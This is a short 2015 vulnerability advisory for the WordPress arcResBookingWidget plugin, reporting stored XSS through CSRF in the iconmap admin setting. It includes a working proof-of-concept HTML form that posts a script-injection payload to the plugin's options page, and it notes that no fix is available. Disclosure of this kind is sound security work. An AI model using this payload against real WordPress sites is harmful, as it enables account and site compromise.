Title: WordPress 'arcResBookingWidget' Plugin 
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download: 
- https://wordpress.org/plugins/arcres-booking-engine/
- https://plugins.svn.wordpress.org/arcres-booking-engine/
Notified Vendor/WordPress: 2015-06-21
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## Plugin description
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Embeds the arcRes Booking Widget on a travel supplier website and ensures it is displayed for all arcRes-driven referrals.

## XSS/CSRF vulnerability
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The iconmap admin setting is vulnerable to stored XSS and can be set using CSRF.

PoC:
Login as admin and submit the following form

<form method="POST" action="[URL]/wp-admin/options-general.php?page=arcRes-BookingWidget-options"> 
 	<input type="text" name="formAction" value="Y"><br />
 	<input type="text" name="arcRes_BookingWidget_option_iconmap" value='100000"><script>alert(1)</script>'><br />
 	<input type="text" name="arcRes_BookingWidget_option_layout" value="vertical"><br />
 	<input type="text" name="arcRes_BookingWidget_option_arcResReferralOnly" value="0"><br />
 	<input type="text" name="arcRes_BookingWidget_option_cookieType" value="permanent"><br />
 	<input type="text" name="Submit" value="Save Options"><br />
	<input type="submit">
</form>


## Solution
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No fix available

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XSS vulnerability found using Eir; an early stage static vulnerability scanner for PHP applications.